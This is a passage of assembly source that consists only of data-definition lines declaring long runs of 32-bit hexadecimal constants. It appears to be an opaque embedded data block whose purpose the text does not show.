		dd 0E9737934h, 68A7DE00h, 4E0C47EEh, 0B90300F3h, 0E89AAA5Eh
		dd 92757579h, 0C55AF800h, 0A2B4BDCCh, 8AAD3A96h, 48F5B680h
		dd 3A05B89Bh, 5A98330Eh, 1B626049h, 75D9E9DDh, 9F0700DAh
		dd 0B03C8CAFh, 4400869Eh, 250DC07Eh, 0F0BAE7h, 0BE562AF6h
		dd 4454D31h, 0D3061700h, 1AAAAFB1h, 0B4E0093h, 1B92613Ch
		dd 5C002862h, 0B522CED1h, 3A7A69C3h, 361D207Dh,	0B0A688h
		dd 34E14ECAh, 0CE787C25h, 0B9D43100h, 4C07217Fh, 73D25C74h
		dd 8208A300h, 4F613D63h, 0FD1AA01h, 97DA1AB8h, 0B9804C21h
		dd 382CB653h, 0A63F06DFh, 762F3DF4h, 0AB00DC9Ah, 1A23273h
		dd 16CA933h, 0C5889FEh,	0D4944113h, 8000CFACh, 0E3F22751h
		dd 481576Fh, 5DDF0115h,	0E1A9801Ch, 0D3002A18h,	85FF6793h
		dd 3CD91B0Fh, 0BB1CEA1Fh, 803B1FC8h, 0C3F7AA33h, 0AB00B21Eh
		dd 1B61A118h, 13E2D4B7h, 9A28F6h, 0A5B93EA8h, 0E30EEFD2h
		dd 1A04168h, 0CC7F36Eh,	7896ACCh, 56093B6Bh, 0F833C0E1h
		dd 7A00F6DFh, 5D3ECECDh, 147624Ah, 0A8D877E2h, 8F994D1Dh
		dd 8FF470F9h, 45346958h, 8C8A8018h, 455E11FBh, 77F12000h
		dd 0F1BE9F5h, 0EFAF0285h, 923162Dh, 75CC4360h, 0BAF98400h
		dd 0F5C0343h, 93AF0074h, 0B0E8E29Eh, 0D0B0E629h, 0B1EBFD1Ch
		dd 7BCDBD80h, 38B71550h, 0AF135B5Ah, 0C14A1C55h, 53862B2Eh
		dd 0BCD0E74Fh, 0D000CFCEh, 0AF52226Ah, 0C0DD0B50h, 891B4FC0h
		dd 0EB67EDADh, 300D610h, 50F424E3h, 377ACF9h, 3862134Dh
		dd 0CFA85F0Fh, 57008D54h, 1F783B2h, 981EEB4Ah, 86A705FCh
		dd 9015D709h, 5CCC55E8h, 4A966403h, 0D0680104h,	3EDF06h
		dd 2E915486h, 0D99341BBh, 0D4F8FE00h, 0F020A4CDh, 88630036h
		dd 0E18DADFAh, 2AF2AAE3h, 0C85C050Bh, 9B7887F2h, 1AB4C460h
		dd 50FA1C07h, 0ECED82E1h, 8068291Fh, 1500F52Dh,	780CA50Fh
		dd 1049A0Eh, 0F6017292h, 3056BC8Eh, 7D38B949h, 0D77E0130h
		dd 0EC5EFFE5h, 0C8FA27F1h, 3E61D68Ch, 91000E01h, 0B171DA50h
		dd 309831C6h, 0F626301h, 0C9BC17D6h, 9E7330h, 50D2F97Bh
		dd 0E0B3E996h, 4C741202h, 0C0192839h, 0E4A3177Fh, 0C5F20332h
		dd 1E8FC293h, 0EC1FE590h, 82CBEA38h, 0DBF41A3h,	32D84045h
		dd 0F0A7982Fh, 3BDB00EBh, 0DD493451h, 770F53A4h, 0E09F64C3h
		dd 2AB15210h, 32D4E76Eh, 9F60FB70h, 0E7610035h,	0E078687Fh
		dd 0B1EA499h, 0A14FD515h, 21F0893Ch, 4C6B2A5Ch,	0E615AE4h
		dd 177156BAh, 0E700FD3Dh, 0EC193655h, 0B6E86C82h, 8B74FD1Eh
		dd 185AD00h, 2866CAF5h,	0F81150h, 892A2113h, 0C80F87CFh
		dd 84581548h, 3E00C012h, 6242C3F6h, 28BA0A00h, 14CE17D8h
		dd 61C60099h, 0FF404E74h, 0B0A3AFD9h, 6F0AD4C0h, 0D55D7D00h
		dd 2BC8A5AEh, 3098016Eh, 27B9FF1Ch, 0BDEAD715h,	0BF9D34C0h
		dd 9B728900h, 2586BE6Dh, 703480Dh, 0C066EF01h, 0C92833A4h
		dd 1E94D8FFh, 0C23A9500h, 8F910A5Fh, 0CFD607DBh, 0E070A40Ch
		dd 9E2494FAh, 0C398C060h, 486FC54Bh, 0BD003805h, 23316E5Bh
		dd 0BB00E810h, 0A632797Bh, 81C30Ch, 1815453Bh, 7D8EB983h
		dd 0DD6B700h, 8AE8F578h, 2DC800DDh, 0B35F75ADh,	0BC00FD73h
		dd 7B2B7D1Eh, 7302F87Eh, 0AB695817h, 3DBB9400h,	371BC441h
		dd 1CC13Dh, 86261C8h, 0B8279723h, 0EACC1C44h, 11007EF0h
		dd 5FF9AA69h, 0E500C314h, 3367C858h, 70F2E3Ah, 1A7A7D2Fh
		dd 937E9018h, 83B88936h, 0A9A14Ch, 28472E8Dh, 0FF5CAA9h
		dd 0CE6C49CBh, 0A08068C9h, 0AA953BDEh, 0B01D17E6h, 8EC0C560h
		dd 0C7EEFF9Ah, 1AB10186h, 41763452h, 0DBF1F08Fh, 7961FA00h
		dd 0BDCE5EE1h, 8C670056h, 0B1984CB8h, 145CCC0Fh, 1B100264h
		dd 7261EA01h, 0D42E00B8h, 402337DEh, 56076B44h,	0EEACF068h
		dd 0A7686C0h, 0E03F00C1h, 93FA4DC4h, 1200C318h,	83F6D736h
		dd 392AD13Bh, 0FBF57Ah,	8C8F6506h, 9CF7C88Eh, 6DBAEE00h
		dd 0EF525425h, 474401A4h, 4A194B73h, 0F105E0E8h, 0CBBB0400h
		dd 2F1D6078h, 24D89177h, 0A1246Fh, 190E855Bh, 340039F5h
		dd 1D52DD4h, 805FACh, 0EF67B557h, 14C11B9Fh, 51BA2C07h
		dd 0B6500189h, 0B4DE225Ch, 8EF91E10h, 40FE4BCBh, 0BDB4635Dh
		dd 0AE16CFD8h, 4B1E4EABh, 266F2440h, 0B5F599h, 5E483B3Dh
		dd 575FF892h, 80AA0C01h, 0FB17A7ECh, 3ACCC370h,	0CE00A9A2h
		dd 0D0E85EBEh, 1403F3EBh, 80074B5Ch, 0FAE18048h, 8AB8395Dh
		dd 0E08823B0h, 6C9276AEh, 0CABE5000h, 3C9BB060h, 0C5AC0F42h
		dd 31C0D438h, 0C6AFDFF3h, 7733F600h, 0D5EFD671h, 0DC51009Dh
		dd 664CE37Eh, 0E004993h, 9B600839h, 71F14DB6h, 22F5005Dh
		dd 50C9E483h, 0B700E9E0h, 0F6CDCE4Fh, 17159587h, 0FA6BA0F9h
		dd 609F3A0Fh, 0B6AB8FC1h, 74080330h, 0D4A3FC62h, 0B7CC80CCh
		dd 4F00DA24h, 0F95BDE25h, 87681Ah, 0FA9ACBF3h, 0B76DE11Bh
		dd 3A8E5803h, 90C96253h, 4DBC4Eh, 0C8BDA4E3h, 1646191Dh
		dd 0C30DAB00h, 0C2B8D53Ah, 62EFA0C5h, 33DE3A48h, 5E79D300h
		dd 0BF253C17h, 14D965Ch, 0F96B3186h, 3830BB1Eh,	2D8800AFh
		dd 0EE32A68Dh, 0DB002108h, 0D1ED2C7h, 0DE9352h,	7DF33494h
		dd 7FD1453Ah, 18E03C75h, 0C0CBC500h, 5E04CA58h,	63270010h
		dd 0F1C72E59h, 640032D1h, 3BDF84B3h, 0AA25FCh, 20998AD3h
		dd 4EB076C1h, 59FE930Fh, 0BD889930h, 0E838CDDDh, 0B988077Ah
		dd 0C005EED4h, 642EB6DEh, 0CE4B5Ch, 25C41977h, 445928h
		dd 0C88A5060h, 3D5E751Ch, 6209A000h, 0FE49FA4Ch, 0CECA05F1h
		dd 830EBE3Fh, 9ED0F596h, 592609A1h, 0AF827C24h,	61468CBFh
		dd 0D8303805h, 0E0C107EFh, 176D6BCBh, 0CCE54095h, 0C416F878h
		dd 7800C08Eh, 22A0DC61h, 0E48190FFh, 0BB3A16D3h, 5A7800ABh
		dd 165B70C0h, 9CAC8900h, 976B91DCh, 63E7023Eh, 8760A9F9h
		dd 7B58DB60h, 90227F00h, 92334EF4h, 75AA7404h, 0C8DE05C1h
		dd 80A74B85h, 0A198D99Eh, 0FF476404h, 77806114h, 0EED1962Eh
		dd 78AC076Dh, 8012B7ABh, 0CA027B55h, 3E3DAA05h,	8CC1B8F0h
		dd 1DFCBAF8h, 0B58C0062h, 0DFDDD35Eh, 600B9B0Ch, 60584AF1h
		dd 0F7E8D24h, 4FC309EFh, 53B283C0h, 2500F0BAh, 0A9F7CE99h
		dd 4E2BC1h, 8B75C47Fh
		dd 0D4D8675Eh, 1880C700h, 0A6607230h, 6D2E3A1Ah, 3B5BC800h
		dd 2DDE4AAEh, 0D2073C09h, 0A3A8637Ch, 0A83FD376h, 0FE966E8Ah
		dd 1FBE000Bh, 8B71BA3Bh, 5E0E2A3h, 7200D89Eh, 4B07884h
		dd 756A3867h, 0F27CA680h, 548BC548h, 0AD1D800h,	909F1E7Ah
		dd 1F8989Ch, 0D0B3DF8Eh, 0F0BFEB09h, 32FEBE79h,	0F881F300h
		dd 97275883h, 3A13007Eh, 698EC3D1h, 16F48CC8h, 0AE5D0C3Ah
		dd 0A1008964h, 0F747B45Ch, 0BDE60079h, 666F4E8Eh, 0C1035E9Ah
		dd 0C44926F8h, 0BE4FB002h, 0DECB186Dh, 53D664F0h, 8E7E8BF0h
		dd 0ED00CF74h, 13B8E9B5h, 4E0E62Dh, 0C25E548Fh,	900FAF46h
		dd 286FE09Ch, 2BEAC3Dh,	0CD9D4DBDh, 0AA633408h,	9F87400h
		dd 8448079Bh, 0D79F06C8h, 9C985B02h, 6745AA1Fh,	39B81F7Dh
		dd 0DC8C7A80h, 0A8ACCCh, 0A19C610Dh, 6030198h, 0A938CE00h
		dd 8E97DF29h, 0AC56002Ch, 9BA5803Fh, 0E1095144h, 68B2A0h
		dd 497C4788h, 0CCB46Fh,	69CE4A2Eh, 18965B38h, 0A49A5540h
		dd 0B0C000E5h, 0DFCAAF2Dh, 4517E074h, 0A049F368h, 0BD4C81A5h
		dd 80F02A53h, 1A902CA9h, 970500A0h, 8D6BE9D1h, 0C8B8E801h
		dd 5FDD6551h, 9AAFBF0h,	0F2105817h, 29071C00h, 8D009A26h
		dd 0BE7D4AE9h, 796D642h, 0A45C057Eh, 1A51D00Dh,	38005532h
		dd 0FBED16F2h, 1F65EAh,	2320CF27h, 1ED882C1h, 1D919200h
		dd 7AF8BF08h, 79780012h, 3BEDFAC9h, 49F8A199h, 0F1D88100h
		dd 2C722BFCh, 248F3E0Bh, 778E5E80h, 9170F669h, 6E633Dh
		dd 4F211B97h, 0A494D6h,	0CBEC6268h, 2A31F174h, 79C1111Eh
		dd 0C8EB3EC0h, 769543h,	443C2070h, 0C27A4564h, 622F4F00h
		dd 0E9ECB024h, 0FC1A0BAEh, 0B0008DF1h, 0BADB0CB3h, 0BF753A00h
		dd 239E6D40h, 0F8D14CB7h, 36C2A900h, 0E6E31BECh, 3D45F801h
		dd 2EF2CD3Ah, 58005028h, 0F49783C4h, 59046E52h,	4F8D3DBEh
		dd 2696B8C0h, 0E7E809h,	55CC4E5Fh, 8C918F74h, 68157F00h
		dd 207B8A73h, 45390577h, 0C38DCB3Eh, 0D580C048h, 0EA00BAEFh
		dd 550D4D1Dh, 0A85ABEh,	1B3C63FCh, 4C891E10h, 58D40705h
		dd 0FAC29AC1h, 0E67C44ADh, 66433DC3h, 9FBC1200h, 336A8364h
		dd 872F3500h, 0E72238BFh, 0DFA803F3h, 0F1411B2Eh, 0D8EAE6C9h
		dd 5609E4ACh, 80CFFF8Fh, 0B547F70h, 1AE877h, 909E0833h
		dd 72DEF11h, 12001B73h,	0A6ABB096h, 0E1F885Ch, 0D2D1D9C5h
		dd 969A4A0h, 6630606Ch,	4D5869FBh, 0FE28ECBAh, 3656082Ah
		dd 0DE04B3A5h, 0A4C061C1h, 83EC30h, 5E592E45h, 0A84F7DBCh
		dd 8099313Eh, 2C645D3Dh, 3448E0Ah, 0BACDB0Eh, 80B423CCh
		dd 0BF497165h, 8B068900h, 430DC4D5h, 73240032h,	0B3A36258h
		dd 82009012h, 0E7C2E6D7h, 0AC52CAh, 53C3C460h, 34AE486Eh
		dd 150960Bh, 57AB00BBh,	7EB3D8D4h, 6BC73BECh, 0DC299B80h
		dd 8130B154h, 338E9D04h, 18C03732h, 0E42F0A1h, 60D1214Fh
		dd 41BD43A0h, 8A023593h, 2B398D90h, 0B68A5DF8h,	8866030Dh
		dd 4098FC0Ah, 0B800EF60h, 0F6BFFD6Bh, 61596Dh, 6284EC0Eh
		dd 12D96F74h, 3B00189Bh, 1993D5B7h, 0D4435C39h,	3C48C604h
		dd 0A174E0FBh, 9F7AD200h, 0C6920C2h, 7CFFF22Bh,	2A501E3Fh
		dd 0CCF0840Bh, 0DF00C2C3h, 5580B451h, 0E8B44326h, 65C70013h
		dd 0E2E3D433h, 0AC3F9816h, 2DB20946h, 64F48025h, 153241h
		dd 1984FCB9h, 217AE24Eh, 2E5EC500h, 0B8A7CAD9h,	7E1602BBh
		dd 0F4E15890h, 0A3DA24C8h, 0ACB420EDh, 8000134Fh, 205292Ah
		dd 901E00C6h, 5FB50831h, 444D5EEAh, 5BC0098Ch, 8F288275h
		dd 4B486067h, 4FA60F6Ch, 0A52060CEh, 0E736D7CDh, 44DF1D00h
		dd 0DEAD0DEBh, 149282h,	62267F3h, 47C92954h, 53D738h, 2B72BD5Fh
		dd 1451E17h, 9C0A27B0h,	0D0B48AB9h, 0A6009F96h,	0BD02F31Bh
		dd 1738172Fh, 0DF6BA1h,	58753C56h, 7C009EB9h, 4065484Ah
		dd 7B02BF5h, 0E23DC17Bh, 2F199C1Ch, 62287707h, 85E419C0h
		dd 0BA70F9C0h, 2B402D2h, 0F2ADF98Fh, 0BF213040h, 0E10023E8h
		dd 0DF083B44h, 0F88A80A4h, 72110F94h, 14A08C4Fh, 9866CF45h
		dd 0BAB62A12h, 600702BAh, 0EC809AECh, 47A5B759h, 18D9A800h
		dd 154520DDh, 87B21F38h, 579DC05Ch, 0D4E67C85h,	1900EBECh
		dd 5FF40960h, 489E2D61h, 0D9004CAEh, 0C15039E9h, 0ED7EB82Ah
		dd 0A527743Ch, 50108D73h, 0FCCADFF0h, 7978CCh, 0F52CA0D7h
		dd 3F5C9318h, 18236C24h, 8D4BE981h, 0FE30EEA2h,	197D607Bh
		dd 0CB2A4442h, 0DF008BF0h, 6451EE11h, 1CAFEA5h,	0EC5EC499h
		dd 2B8255F5h, 9AD76840h, 70436Ah, 937AA053h, 30B7668Ch
		dd 2011E00Fh, 1D14A04Ah, 0F6F2247h, 2337C886h, 0BB440193h
		dd 0CC5ED081h, 123EFE1Eh, 89DD80BAh, 28403739h,	0F8820014h
		dd 0AEDE07E0h, 6A0068F2h, 51BC7141h, 2512F35Dh,	20E0FC53h
		dd 0CB3EDB63h, 0EC007DC0h, 74E7FE2Fh, 0D43483h,	603EADA9h
		dd 0F575954Dh, 0CBD57603h, 0B8F86E1Eh, 2B6160Eh, 0DCDDC6E7h
		dd 68E06917h, 0B1008C83h, 0BBF54A78h, 0ABA9CBh,	0A1CC23C8h
		dd 66682B38h, 1B5E4900h, 0C3C5DF57h, 61D30F90h,	3729656Ah
		dd 200C47Eh, 0AF3A119Ah, 1ED6F087h, 0C16689A6h,	7CCB08B1h
		dd 0D0C0D8F9h, 4FC43501h, 1DA0823Ch, 0F0E0AB70h, 509EADBh
		dd 0BBFFB62Ch, 0F216C014h, 3A048DA0h, 722EE31Ah, 0FC25D880h
		dd 0B97100B8h, 6663290Ch, 5000499Ch, 0CEACEA42h, 0E4895E13h
		dd 760D004Fh, 0E726FBFEh, 38F27556h, 2C82D309h,	7570D07Ch
		dd 0F2D20051h, 0E74D6D6Bh, 0AD1E2155h, 68E686A3h, 6F5B7103h
		dd 0AACAD098h, 0E9E400CBh, 0F16C6944h, 750013E1h, 76181223h
		dd 0EC869BF5h, 806F000Bh, 9EF34448h, 257B920Ch,	8791B02Ch
		dd 58948038h, 391B8AB7h, 0AFFC6Fh, 90639ADBh, 0B67F5399h
		dd 0CC664000h, 60306B1Bh, 6A150074h, 33DCEB1Ah,	32008A26h
		dd 7051D7B5h, 3A50F3h, 0A2FAB6AEh, 5B304DD4h, 17C2E3Ch
		dd 4EB3C2A3h, 55D85092h, 73F4F3h, 8EB133B2h, 0B4549A03h
		dd 20F9471Eh, 341C2C00h, 5ACE6FE8h, 7C7FC90h, 0D7D30C3Ah
		dd 0D2C700DFh, 2C3CF545h, 5108A09h, 80B2AD31h, 63364634h
		dd 0A647C500h, 95B755C8h, 0C4AB0115h, 7C7906A0h, 3350D89Eh
		dd 0C3E4FC00h, 0E660D87Eh, 888C5D98h, 0B03B738h, 7685CF5Dh
		dd 6A0EE807h, 0A3F0A852h, 1CA0C2C5h, 4077F558h,	1D5D0D03h
		dd 0E6006726h, 3E5042C0h, 49B0B4h, 8B5E5682h, 0FB7E9B43h
		dd 81F2087Bh, 46B7C309h, 246CD9A7h, 921C00B0h, 1B74C79Bh
		dd 0A9E95C1Fh, 8400A174h, 0B3933CCh, 0A1030082h, 0C9F4665Fh
		dd 0A53978A2h, 65B88080h, 11B9A68Ah, 0DD36002Ch, 83BA60EBh
		dd 8F00E4D6h, 89304723h, 5B7EDCh, 0DD3B3862h, 0BAE79407h
		dd 0EFB54200h, 2164758Ch, 0EDF895h, 7D2019D7h, 0DAB17ED8h
		dd 23D7B01h, 54B35867h,	7A5609F4h, 0F6E03Bh, 9D664B4Fh
		dd 49DB5B46h, 7747F900h, 91B38169h, 0A550144h, 532C6E8Ah
		dd 0FE9EC993h, 0E440DAC0h, 4CF17400h, 91436B18h, 0EA920014h
		dd 15F026E2h, 72028DFFh, 6ED0295Eh, 8CF193h, 97A4013Fh
		dd 3B09DC3Eh, 85FAEEE3h, 43800F90h, 1E0AFF24h, 0CF9D073Fh
		dd 0DA608F18h, 163252B6h, 67D8B300h, 82260E4Eh,	6241006Ch
		dd 0A31C15F8h, 0F0001D09h, 0FE5F99DAh, 172683h,	0F940BF6Dh
		dd 0D5DB711Eh, 0C100A07Eh, 4C28D9BCh, 0F4B646D0h, 45A403D1h
		dd 0A692F5AEh, 7EA33998h, 0A140097h, 98479A9Eh,	0B0561443h
		dd 77FC48Bh
		dd 41077BC3h, 7D371086h, 0F1009198h, 6E4BA249h,	0EE3DAA6h
		dd 0F57C0612h, 0F80239C0h, 0E8008BAFh, 599F4562h, 0DC3BAAh
		dd 0F990E0BDh, 6ECDF54Ch, 0F4CCD513h, 0C639AF00h, 432EC2h
		dd 9810EA77h, 122C0661h, 0BCEB6C00h, 26289554h,	0B70F1D74h
		dd 99E680B5h, 49CCB96Fh, 6183EF0Eh, 27094017h, 215754h
		dd 1E403074h, 0B78B1A86h, 2C901100h, 6271A081h,	63AA0057h
		dd 34E265D7h, 70007559h, 5117A3Bh, 0F5406655h, 0F545CF4h
		dd 6B854C5Ah, 8D4D2340h, 9705BFA1h, 1DF77063h, 89C3F1C0h
		dd 0FEBA3E20h, 0C03A949Dh, 57B0E86Ah, 0CC006E1Ch, 5852BD0Eh
		dd 55B2A8h, 22ABBCE0h, 0E7328D95h, 8F004573h, 4204CD86h
		dd 91792Fh, 0BBA85330h,	7C967AF0h, 8FF90338h, 6464C109h
		dd 2F80CC8Bh, 1EBE3CC5h, 0D25B8167h, 8F64B074h,	0FAE9E300h
		dd 0EE265651h, 2C3E00A9h, 9FFFB0E4h, 0C7FEE1E8h, 0CE365401h
		dd 33F04099h, 0C6D9AD8h, 0ED1CD55Fh, 0DEF257E4h, 2BAF0400h
		dd 0EEFFF54Eh, 0E2C93E9Fh, 364AFD03h, 0F1D04BC8h, 0AE00C3B2h
		dd 8D0B3E6Fh, 1632C797h, 507BE2h, 0DAFDE58Ch, 6B003FFFh
		dd 8257BAA6h, 53D66h, 5DDE8CE9h, 9DB267F8h, 0A1A4E600h
		dd 914F77FBh, 4E1C1C1Ah, 31B4003Ch, 51F3C337h, 86683Eh
		dd 0CA7D07C7h, 1613D9h,	3DAC0FDBh, 0C64BB1A1h, 41AEBF00h
		dd 0E006F3E9h, 0CE8000F1h, 89BE9C9Ah, 0D901FAE1h, 0F5D543F0h
		dd 49F8C132h, 1D4E0EA8h, 7EE512EEh, 0AC855Eh, 339BE27Ah
		dd 0F70003F2h, 784BFA4h, 1E3AAB82h, 404E8634h, 70E7CA1Dh
		dd 0EA00CF4Ch, 232C554h, 3E42D75Dh, 0D638AEC1h,	102EDC00h
		dd 0FD792319h, 29C0900h, 14893E44h, 0EE840255h,	5AB5E130h
		dd 910BA074h, 15005F27h, 25071EC1h, 29D1B600h, 18B738B1h
		dd 46E01FEFh, 1F300E09h, 0EB1C50C1h, 0EB886BBh,	14920CCh
		dd 24E51B3Dh, 70C2150Ch, 460F2785h, 0FC424929h,	3F99B780h
		dd 6BF1F8h, 220EEFE1h, 0B41A907h, 0CB148DECh, 11C5A5Eh
		dd 0A3AB4ED9h, 3FAED8h,	1BA56590h, 0C171A9F4h, 84E67F17h
		dd 913700FEh, 0B18FF71Eh, 0B0D97901h, 0A9117C33h, 8D633881h
		dd 0F4B39490h, 0CD00AE5Ch, 8A2DF4C8h, 39F5E785h, 888354EBh
		dd 0EA85D59h, 972968A0h, 4DB01E79h, 0F26F3F0Eh,	667EA379h
		dd 671FF956h, 3C3020h, 4CF3F85Fh, 330E5414h, 687FC800h
		dd 0C78E3DB2h, 0F47D00F7h, 5F39FA0Fh, 0D500B572h, 23903713h
		dd 58682FAEh, 1C24B28Eh, 0D0FD00D5h, 4F421B3Eh,	79E7D200h
		dd 0A7179495h, 92C40BCAh, 7860F6C7h, 6E004E8Eh,	75412579h
		dd 68B447h, 621F390Ch, 50ABBAF6h, 538E08C3h, 7A9498C0h
		dd 0F1A21816h, 40861904h, 0EC25960Bh, 1FC901D0h, 0E840A5A9h
		dd 33F06EFh, 7EEEDCADh,	0A0C1F67Dh, 883920AFh, 162FC800h
		dd 0F440AA9Ch, 10290017h, 0AA5E07Dh, 8B0051ADh,	8EC727BAh
		dd 74D261C2h, 0AC8C6055h, 72EDDCE1h, 2632A300h,	4C46BC29h
		dd 28FE3AA5h, 0B1574A87h, 730FE0B3h, 3113ED1Fh,	0FF0CF783h
		dd 75418B0h, 0A352BE60h, 38036091h, 0D01D8045h,	0F4280869h
		dd 274AB10Eh, 4D200034h, 72BC944h, 18AF8A45h, 81651069h
		dd 0AE00B949h, 7B8F36B2h, 3EF6150Eh, 19007C1Bh,	44074E9Bh
		dd 0F00694Fh, 47DBD656h, 36C79Fh, 0C99CBCB0h, 210654DEh
		dd 0A2444E00h, 1AE878A0h, 0EE610039h, 0A3CA0C84h, 490066C8h
		dd 0C55B8FFDh, 0E8A50EB7h, 0F3692659h, 7A3500B8h, 209B1566h
		dd 810D48C0h, 0C0543Ch,	11F42E41h, 0AE35B6F0h, 88007BEEh
		dd 17CEE620h, 0BA9031h,	1A1883A7h, 619DF61Bh, 3600D5E0h
		dd 67B88B30h, 4D0E29h, 0BD134FE9h, 0D516DCF1h, 773FB18h
		dd 606D7729h, 10C97825h, 61030B78h, 0CE3D5D0Fh,	0B609E836h
		dd 3C4F698h, 0F3AF73EEh, 69B8D434h, 28393193h, 0E81980C0h
		dd 99CF7149h, 0A601DCAh, 332A80F8h, 963FCE77h, 9EBD9C3Dh
		dd 781BA53h, 0E08C19D9h, 38BC3AECh, 0CC50805Fh,	25DB000Ch
		dd 0FE06D1F3h, 4E74A0C6h, 805EBD3Eh, 8739A18Ah,	0FCC4FE1h
		dd 0C89B58EAh, 90458147h, 0CD8B648Eh, 741C693Eh, 28C5400h
		dd 258D22FFh, 0F29F1D48h, 41C7C026h, 8A1E6266h,	3ABB8F38h
		dd 0AC180380h, 80B8C1FFh, 38A6586Ah, 0F98002C6h, 0B7A23350h
		dd 2D3819C7h, 0FAF309AEh, 6E9107AFh, 0DCC2A025h, 92EDE02Ch
		dd 13CE03CDh, 40ED6CD7h, 98E882E7h, 0B977D60h, 1E2B1F07h
		dd 1863D079h, 0BB17D8A9h, 4774F1h, 9386D9AEh, 0BF84C839h
		dd 0C6B95101h, 85E446BEh, 6A601082h, 49E5204h, 0DA0230Fh
		dd 635C806Bh, 0F219DE9h, 78BEEEC2h, 0CF774280h,	0E0B8FA6Dh
		dd 0DAD82B00h, 0F6E543F1h, 9AC20026h, 0D00D41FEh, 94006029h
		dd 0AE4BECABh, 0EAAA10h, 0DED7C076h, 0F5451D98h, 65BBC90Eh
		dd 2E40BE18h, 668914A0h, 0B1120061h, 8B88D07Eh,	53005EC5h
		dd 0BEEAAFDFh, 0FEAE1A79h, 0CA4000B6h, 0C76F299Fh, 50725B04h
		dd 13308A07h, 0C8E0DF92h, 366BD09h, 7641D8B8h, 56003B7Ch
		dd 8652122Ah, 67C3D1h, 0ED2C3283h, 0B81E736Ch, 0C401ADECh
		dd 642F9CA7h, 8CD44A2Bh, 9A040077h, 6F5D0C8Eh, 7CB898C6h
		dd 0E1901000h, 4EFCE4CAh, 65330061h, 6B31AB56h,	42740396h
		dd 5300D0B0h, 0A2802E3Ch, 633A33h, 8DEC23CEh, 0D781EA4Fh
		dd 0ACE64000h, 7AAF076Eh, 0FE250180h, 5218D955h, 1A6170A7h
		dd 7D293104h, 0C18237B5h, 8E60DF72h, 0CD1F6007h, 30803C33h
		dd 0A1F5D48Eh, 40A8006Ch, 5E91C79Bh, 0B300ABAFh, 5130C5Bh
		dd 0E24B4F6h, 7E6FDB28h, 0B8EA7660h, 9A009CCEh,	92F02758h
		dd 518C48h, 24DF83E3h, 0A38FA152h, 544B5900h, 580527D8h
		dd 31F10081h, 0A5CA6E8Eh, 0B9002073h, 6FC72535h, 0E38D0h
		dd 99340785h, 61BC6E1Ch, 96D35100h, 45373CB8h, 0C5FD0324h
		dd 1092C62Dh, 1AF65D90h, 6A67B600h, 15E8A5C4h, 6F9800FBh
		dd 403B2B54h, 7CF47F1Dh, 22A44Ch, 0CD6709B4h, 0EC7D08h
		dd 62ADF060h, 9B5E712Fh, 0B1F2CB00h, 9A6381D5h,	458005Dh
		dd 76784C60h, 0D0004705h, 44DABCDFh, 868C13h, 93653555h
		dd 168B2CB5h, 0FCA4B607h, 0CCC0F448h, 44F1FAh, 8C5B795h
		dd 20D8FDF2h, 0E7BCDB00h, 735D17Dh, 2B4C0F36h, 1740430Dh
		dd 0BE12B4C4h, 0F4F7AA07h, 46A05719h, 0BA8DF3F9h, 29210030h
		dd 6E769AA9h, 0D700D454h, 0AD2B06F2h, 91C889h, 2C453B3h
		dd 622FFFDAh, 7FF33C00h, 0BC92A497h, 931F1E84h,	0E680FB46h
		dd 859D301Ch, 90003EDAh, 0C6057B6Ch, 727709D8h,	0BA3001Ah
		dd 0BDE231FEh, 2600D379h, 3A8B6FABh, 4D24B221h,	420E0CE6h
		dd 0C240ADA7h, 0F6DA481Eh, 0C43CCB00h, 0D88B5EAFh, 1C987281h
		dd 43432B3Bh, 5F10D540h, 0C6FA2CB8h, 1F0C5A02h,	60D79749h
		dd 1F864D20h, 79A27689h, 681A8E00h, 85666D12h, 56B8B201h
		dd 6CFE0F7Ch, 2E11D1F4h, 0C1E338h, 0D32F82DFh, 9801803Ah
		dd 43D28726h, 70803341h, 94033034h, 1FE8081Bh, 1A01D600h
		dd 6102CE7Ch, 819E07FCh, 13831152h, 10A8F0BFh, 0EC002CBDh
		dd 6E33E119h, 9B770h, 667F30EBh, 99AED7D5h, 291ECE7Bh
		dd 854071B5h, 0B4DF3887h, 7054004Ch, 2E5DBF6h, 0BF00EE44h
		dd 580B1701h, 92A236h, 68C94EBh, 0DF49B4FCh, 0F8E20A02h
		dd 800BB5C6h, 76FBAE93h, 2EBD0078h, 0C3E40E4Eh,	301D2D8Dh
		dd 0F1C0CCA0h, 1B205BA1h, 682C0E95h, 0F4A03EC8h, 0DBF812AAh
		dd 8B214100h, 4B0B9137h
		dd 93D50B52h, 0AC804CC0h, 329EDD16h, 3295D05h, 0E4404928h
		dd 0E43984A4h, 0A1DA006Ch, 532ED402h, 3573EC06h, 8A7EC177h
		dd 60CC5900h, 6DB69E69h, 796C9818h, 0D809487Eh,	0FD0C8000h
		dd 0EE7DD35h, 0A08949h,	465D2BD8h, 6DB261h, 8227F6B9h
		dd 0B07E5ADFh, 0D6835900h, 428BD702h, 139A1D1Eh, 430500E9h
		dd 3BAD1D0Fh, 5FE838h, 7F909B91h, 0E7B8309h, 71524698h
		dd 47FB4020h, 0AA072D67h, 78223848h, 0AED66BA0h, 98DD4CA1h
		dd 2D808A39h, 0E4D7B96Ch, 6177634Dh, 7C6ABB00h,	8BC1D006h
		dd 251515F3h, 497488C3h, 6C03900Bh, 23217237h, 0DD4D84E0h
		dd 71CFAC1Fh, 279D289Ch, 95927081h, 409D56D8h, 9DD183DAh
		dd 9C03F0D0h, 21D5572Ch, 39CD984Dh, 716FAB5h, 2DEB609Ah
		dd 0B06C3241h, 0E994AC80h, 4773B152h, 33E40F24h, 0E02AB700h
		dd 8C2D4Dh, 88EF574Eh, 1A5B30EDh, 42DA2405h, 75C0A5E8h
		dd 513AEFBh, 744C616Bh,	8C00C192h, 6FDA4023h, 52001AD3h
		dd 0E7A05DEh, 6585EAh, 0FE4C1603h, 4F81BC1h, 1D183116h
		dd 7F4AE800h, 94EA5Eh, 0C1490CD1h, 78413265h, 0B3B6E3Eh
		dd 80CB9D0Fh, 9163A12h,	40C30338h, 36436B0Ch, 77A0809Ch
		dd 5D00017Fh, 0C8451E25h, 85E9C7h, 37DCF5B4h, 839D7376h
		dd 9502BDF0h, 0E0746222h, 0C0854207h, 2D0A124h,	5219E68Dh
		dd 9C60E523h, 960065B0h, 600642BBh, 359ABC2h, 4C7969AFh
		dd 3800F521h, 6D7FE661h, 19B93B4h, 0B7E80C1Ch, 87EF4380h
		dd 792FFA9Eh, 6ACFBFB1h, 50F46071h, 4CD7009Fh, 0FBC8F8F5h
		dd 8F1DAC1Bh, 743290Ch,	0D50B209Ah, 0C45B8C05h,	1D0474D1h
